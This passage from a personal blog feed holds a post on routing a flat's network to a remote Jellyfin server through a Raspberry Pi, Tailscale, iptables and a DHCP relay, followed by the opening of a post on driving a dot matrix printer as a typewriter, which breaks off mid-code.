I&amp;rsquo;ve got two networks. &lt;code&gt;192.168.0.1/24&lt;/code&gt; and &lt;code&gt;192.168.1.1/24&lt;/code&gt;, which are at different sites &amp;mdash; &lt;code&gt;.1.&lt;/code&gt; is at my parent&amp;rsquo;s house, &lt;code&gt;.0.&lt;/code&gt; is at my flat.&lt;br&gt;
A Jellyfin media server lives on the &lt;code&gt;.1.&lt;/code&gt; network, and I want to be able to reach that from my the &lt;code&gt;.0.&lt;/code&gt; network, where I have a Roku with the Jellyfin app installed.&lt;/p&gt;
&lt;p&gt;The really easy option here is to add a port forward on the &lt;code&gt;.1.&lt;/code&gt; side router, such that you can reach the Jellyfin server from the public internet &amp;mdash; this is exactly what I used to do for Plex. However, exposing things to the internet isn&amp;rsquo;t usually a great idea from a security perspective, especially when you aren&amp;rsquo;t great at keeping things up to date!&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve got Tailscale (which is a fancy Wireguard VPN solution) set up on the &lt;code&gt;.1.&lt;/code&gt; side, so I can reach that network from specific devices that have the Tailscale app installed, but unfortunately there isn&amp;rsquo;t an app for the Roku.
What makes things a bit more complicated is that the router for the &lt;code&gt;.0.&lt;/code&gt; network is a rubbish ISP provided one. I can&amp;rsquo;t easily avoid using it as the flat has 4G/LTE internet, don&amp;rsquo;t ask!
As such I can&amp;rsquo;t configure any extra routes or install the Tailscale VPN on the router itself.&lt;/p&gt;
&lt;p&gt;My first pass at this was very lazy. On my desktop on the &lt;code&gt;.0.&lt;/code&gt; side I&amp;rsquo;ve got Tailscale running, so it can reach the Jellyfin server over on &lt;code&gt;.1.&lt;/code&gt; fine. All that&amp;rsquo;s required is a little TCP proxy &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;desktop$ socat -dd TCP4-LISTEN:8096,fork,reuseaddr TCP4:192.168.1.30:8096
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then on the Roku I can configure the Jellyfin client to hit the desktop LAN &lt;code&gt;.0.&lt;/code&gt; IP and the connection is forwarded on to the remote Jellyfin server at &lt;code&gt;192.168.1.30&lt;/code&gt;. This worked perfectly fine, but having to keep my desktop on whenever I wanted to use Jellyfin was a bit annoying.&lt;/p&gt;
&lt;p&gt;My next idea was to just put this on a Raspberry Pi which I can leave on permenantly without using too much expensive electricity. The downside with this &lt;code&gt;socat&lt;/code&gt; trick is that it&amp;rsquo;s a bit static, if you wanted to talk to multiple endpoints you&amp;rsquo;d need to listen on multiple ports and remember all the mappings.&lt;/p&gt;
&lt;p&gt;What I really wanted was a proper routed setup, where any &lt;code&gt;.0.&lt;/code&gt; device can route to anything on the &lt;code&gt;.1.&lt;/code&gt; network. This is where I had a devious idea &amp;mdash; to use the Raspberry Pi as a bridge for all traffic on the way to my router. Bridging is where a device with two NICs, links them, such that traffic coming in on one, is sent straight back out the other.&lt;br&gt;
For my purpose the Pi can&amp;rsquo;t act purely as a bridge though, it also needs to do some routing of the &lt;code&gt;.1.&lt;/code&gt; network bound packets, such that they pass through the tailscale tunnel.&lt;/p&gt;
&lt;p&gt;As far as I can tell, this is a bit of an unusual thing to want to do &amp;mdash; it&amp;rsquo;s called bridge routing (or brouting). It doesn&amp;rsquo;t seem to easy to do this with a usual Linux bridge device &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;, but thankfully it&amp;rsquo;s pretty simple to configure something that behaves the same.&lt;/p&gt;
&lt;p&gt;These are the interfaces on my brouter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# networkctl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IDX LINK TYPE OPERATIONAL SETUP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; lo loopback carrier unmanaged
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; eth0 ether routable configured
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; eth1 ether routable configured
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; tailscale0 none routable unmanaged
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;m using &lt;code&gt;eth0&lt;/code&gt; as the upstream side (plugged into the ISP router) and &lt;code&gt;eth1&lt;/code&gt; as downstream (plugged into a switch and WAP).&lt;br&gt;
You&amp;rsquo;ll need some kernel config:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# cat /etc/sysctl.d/99-proxyarp.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net.ipv4.ip_forward&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net.ipv4.conf.eth0.proxy_arp&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net.ipv4.conf.eth1.proxy_arp&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ip_forward&lt;/code&gt; makes the kernel to retransmit packets that weren&amp;rsquo;t destined for a local IP address.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;proxy_arp&lt;/code&gt; causes ARP traffic coming in on one interface to be sent back out of the other, replacing the MAC addresses such that layer 2 works as expected.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you&amp;rsquo;ve got your kernel parameters set, you need a bit of &lt;code&gt;iptables&lt;/code&gt; magic to handle the routing part of the equation. We want to mark the &lt;code&gt;.1.&lt;/code&gt; bound packets, so that they are forced to route via our &lt;code&gt;tailscale0&lt;/code&gt; interface:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iptables -t mangle -A PREROUTING -d 192.168.1.0/24 -j MARK --set-mark &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip rule add fwmark &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; table &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip route add default dev tailscale0 table &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This isn&amp;rsquo;t quite enough to make things work unfortunately. Checking the traffic, I can see packets headed out over the Tailscale interface, but no replies coming back:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# tcpdump -i tailscale0 &lt;span style="color:#e6db74"&gt;&amp;#39;icmp&amp;#39;&lt;/span&gt; -n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:53:28.804692 IP 192.168.0.3 &amp;gt; 192.168.1.30: ICMP echo request, id 253, seq 1, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:53:29.805010 IP 192.168.0.3 &amp;gt; 192.168.1.30: ICMP echo request, id 253, seq 2, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:53:30.829186 IP 192.168.0.3 &amp;gt; 192.168.1.30: ICMP echo request, id 253, seq 3, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is because devices on the &lt;code&gt;.1.&lt;/code&gt; net can&amp;rsquo;t route directly back to &lt;code&gt;.0.&lt;/code&gt;. To make this work we have to SNAT (source NAT) the traffic such that it appears to come from the local side of the Tailscale tunnel:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iptables -t nat -A POSTROUTING -o tailscale0 -j MASQUERADE
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we see replies coming back too! &lt;code&gt;100.120.7.128&lt;/code&gt; is the local IP of the &lt;code&gt;tailscale0&lt;/code&gt; interface.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# tcpdump -i tailscale0 &lt;span style="color:#e6db74"&gt;&amp;#39;icmp&amp;#39;&lt;/span&gt; -n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:50.428553 IP 100.120.7.128 &amp;gt; 192.168.1.30: ICMP echo request, id 254, seq 1, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:50.499516 IP 192.168.1.30 &amp;gt; 100.120.7.128: ICMP echo reply, id 254, seq 1, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:51.429393 IP 100.120.7.128 &amp;gt; 192.168.1.30: ICMP echo request, id 254, seq 2, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:51.517161 IP 192.168.1.30 &amp;gt; 100.120.7.128: ICMP echo reply, id 254, seq 2, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:52.431187 IP 100.120.7.128 &amp;gt; 192.168.1.30: ICMP echo request, id 254, seq 3, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:52.509740 IP 192.168.1.30 &amp;gt; 100.120.7.128: ICMP echo reply, id 254, seq 3, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I figure I better include a diagram here:&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/bodging-a-brouter/images/network.svg'&gt;
&lt;picture&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/bodging-a-brouter/images/network.svg'
loading="lazy"
alt='Network diagram of brouting setup'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The final piece of the puzzle is that this setup breaks DHCP (dynamic IP configuration) &amp;mdash; as it uses broadcast traffic, and the kernel won&amp;rsquo;t forward broadcast traffic. This is pretty easy to work around, you can install a little daemon to proxy traffic recieved downstream on &lt;code&gt;eth1&lt;/code&gt; up to the ISP router on &lt;code&gt;eth0&lt;/code&gt;. I used &lt;code&gt;isc-dhcp-relay&lt;/code&gt; and the config is trivial:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# cat /etc/default/isc-dhcp-relay
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# What servers should the DHCP relay forward requests to?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SERVERS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.0.1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On what interfaces should the DHCP relay (dhrelay) serve DHCP requests?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INTERFACES&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;eth1 eth0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The network flow for DHCP now looks like this, where &lt;code&gt;192.168.0.125&lt;/code&gt; is &lt;code&gt;eth0&lt;/code&gt;&amp;rsquo;s local IP and &lt;code&gt;192.168.0.126&lt;/code&gt; is &lt;code&gt;eth1&lt;/code&gt;&amp;rsquo;s:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# tcpdump -i any &lt;span style="color:#e6db74"&gt;&amp;#39;port bootps&amp;#39;&lt;/span&gt; -n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5112 eth1 B IP 0.0.0.0.68 &amp;gt; 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;312&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5114 eth0 Out IP 192.168.0.125.67 &amp;gt; 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;312&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5345 eth0 In IP 192.168.0.1.67 &amp;gt; 192.168.0.126.67: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5346 eth1 Out IP 192.168.0.126.67 &amp;gt; 0.0.0.0.68: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5418 eth1 B IP 0.0.0.0.68 &amp;gt; 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5419 eth0 Out IP 192.168.0.125.67 &amp;gt; 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5684 eth0 In IP 192.168.0.1.67 &amp;gt; 192.168.0.126.67: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5685 eth1 Out IP 192.168.0.126.67 &amp;gt; 192.168.0.53.68: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5760 eth1 B IP 0.0.0.0.68 &amp;gt; 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;318&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5761 eth0 Out IP 192.168.0.125.67 &amp;gt; 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;318&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5814 eth0 In IP 192.168.0.1.67 &amp;gt; 192.168.0.126.67: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5816 eth1 Out IP 192.168.0.126.67 &amp;gt; 192.168.0.53.68: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The advantage of this setup is that it&amp;rsquo;s transparent to downstream devices, they think they are just talking to the ISP router normally. That it just happens to sit on the path is useful if something goes wrong with the Pi &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;, I can just physically unplug it and I won&amp;rsquo;t lose anything other than my extra route.&lt;/p&gt;
&lt;p&gt;It probably would have been easier if I had set up my Pi with OpenWRT or similar, and had it act as a normal router, downstream of the ISP provided router. Well, at least this way I learnt some stuff!&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;You could also use a HTTP reverse proxy for this, but these tools usually need a bit more config than &lt;code&gt;socat&lt;/code&gt; does.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;It might be possible via the &lt;code&gt;br_netfilter&lt;/code&gt; kernel module and &lt;code&gt;net.bridge.bridge-nf-call-iptables=1&lt;/code&gt; parameter, but I couldn&amp;rsquo;t figure out how to make it work!&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;SD card failure being what I am afraid of here!&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>A typewriter five ways</title><link>https://george.honeywood.org.uk/blog/typewriter-five-ways/</link><pubDate>Tue, 21 Jan 2025 21:38:43 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typewriter-five-ways/</guid><description>
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_85e5c837de12f93.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_8b24f6e12bf56655.webp 320w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_4ad8a1e8650f1678.webp 640w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_8e84fc8c6267b7eb.webp 960w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_335c3330c9cb47dc.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_e32e48b3872f8801.jpg'
width="1280"
height="961"
alt='An Oki Microline 320 Elite dot matrix printer taking up all my desk space'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
My desk-dominating Oki Microline 320 Elite dot matrix printer
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The joy of the dot matrix printer is how simple the interface is &amp;ndash; it&amp;rsquo;s just a file, &lt;code&gt;/dev/usb/lp0&lt;/code&gt;.
When you write some ASCII character into this file, the printer prints it. That&amp;rsquo;s it!
Below are five increasingly complicated ways to write to this file.&lt;/p&gt;
&lt;p&gt;The obvious way to go about this is a normal shell redirection, like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ echo &lt;span style="color:#e6db74"&gt;&amp;#34;hello world!&amp;#34;&lt;/span&gt; &amp;gt; /dev/usb/lp0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat my-file.txt &amp;gt; /dev/usb/lp0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is, however, quite static: you have to decide what you want to print beforehand. I want something a bit more interactive, like a good old-fashioned &lt;a href="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/"
&gt;mechanical typewriter&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="1-cat"&gt;1. &lt;code&gt;cat&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The simplest method I can think of is just &lt;code&gt;cat&lt;/code&gt; again.
If you invoke it without any arguments, &lt;code&gt;cat&lt;/code&gt; simply pipes &lt;code&gt;stdin&lt;/code&gt; to &lt;code&gt;stdout&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat &amp;gt; /dev/usb/lp0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The works well enough, but it&amp;rsquo;s line buffered: the text doesn&amp;rsquo;t actually print until you press enter. This is good for interactively editing your command before executing it, but not what you want for emulating a typewriter!&lt;/p&gt;
&lt;h2 id="2-stty"&gt;2. &lt;code&gt;stty&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Luckily, this line buffering can be turned off.
I spent quite a while assuming this was controlled on the application side, but it is actually up to the terminal &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;.
The &lt;code&gt;stty&lt;/code&gt; command can adjust these settings &amp;mdash; &lt;code&gt;stty -icanon&lt;/code&gt; does what I want.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll use &lt;code&gt;strace&lt;/code&gt; to make this a bit clearer. On the left you can see normal terminal behaviour; on the right I&amp;rsquo;ve changed the settings. I used the &lt;code&gt;synchronize-panes&lt;/code&gt; option in &lt;code&gt;tmux&lt;/code&gt;, so both terminals get the same &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;\n&lt;/code&gt; input at the same time:&lt;/p&gt;
&lt;div id='strace'&gt;&lt;/div&gt;
&lt;script src="https://george.honeywood.org.uk/js/asciinema-player.min.js"&gt;&lt;/script&gt;
&lt;script&gt;
AsciinemaPlayer.create('\/blog\/typewriter-five-ways\/casts\/strace.cast', document.getElementById('strace'), {
controls: true ,
autoPlay: "true",
loop: true ,
startAt: "2",
});
&lt;/script&gt;
&lt;p&gt;The &lt;code&gt;write(...)&lt;/code&gt; messages come from &lt;code&gt;strace&lt;/code&gt;, and indicate when the terminal is actually sending the data off.
On the left, we only see a single &lt;code&gt;write()&lt;/code&gt; after the enter press. On the right, we get the immediate writes that we want for emulating a typewriter.&lt;/p&gt;
&lt;h2 id="3-scrolling"&gt;3. scrolling&lt;/h2&gt;
&lt;p&gt;We are getting closer.
However, there is one rather large issue with doing something like &lt;code&gt;stty -icanon &amp;amp;&amp;amp; cat &amp;gt; /dev/usb/lp0&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
width="1280"
height="720"
style="aspect-ratio: 1280 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/stty-1280x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/stty-1280x720.mp4"&gt;/blog/typewriter-five-ways/images/stty-1280x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;You can&amp;rsquo;t see what you&amp;rsquo;ve written!&lt;br&gt;
While in any case you can&amp;rsquo;t backspace any physically printed text, it is a bit disconcerting to not be able to see what you&amp;rsquo;ve typed.
Ideally the paper would scroll up once you&amp;rsquo;ve stopped typing, so you can view the output and then scroll back into the printer once you resume.&lt;/p&gt;
&lt;p&gt;Luckily, dot matrix printers have a trick up their sleeves &amp;mdash; escape codes.
These work as a markup to control some aspect of the printers output, like setting the typeface to be bold.
Escape codes weren&amp;rsquo;t particularly standardized, different manufacturers used different codes.
Conveniently, my printer can emulate a few different control code standards.&lt;/p&gt;
&lt;p&gt;The escape code that is particularly useful in this case is &amp;ldquo;Reverse line feed&amp;rdquo;, which in Epson&amp;rsquo;s ESC/P language is the sequence &lt;code&gt;[]byte{27, 106, 216}&lt;/code&gt; &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. We can use this for scrolling the paper back into the printer when the user resumes typing.&lt;/p&gt;
&lt;p&gt;I wrote a little program in Go, &lt;a href="https://github.com/GeorgeHoneywood/typist"
target="_blank" rel="noreferrer noopener"
&gt;Typist&lt;/a&gt;, that handles this scrolling behaviour for us:&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
width="1280"
height="720"
style="aspect-ratio: 1280 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/go-1280x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/go-1280x720.mp4"&gt;/blog/typewriter-five-ways/images/go-1280x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;The main loop is pretty simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;printer&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;handleInput&lt;/span&gt;() {
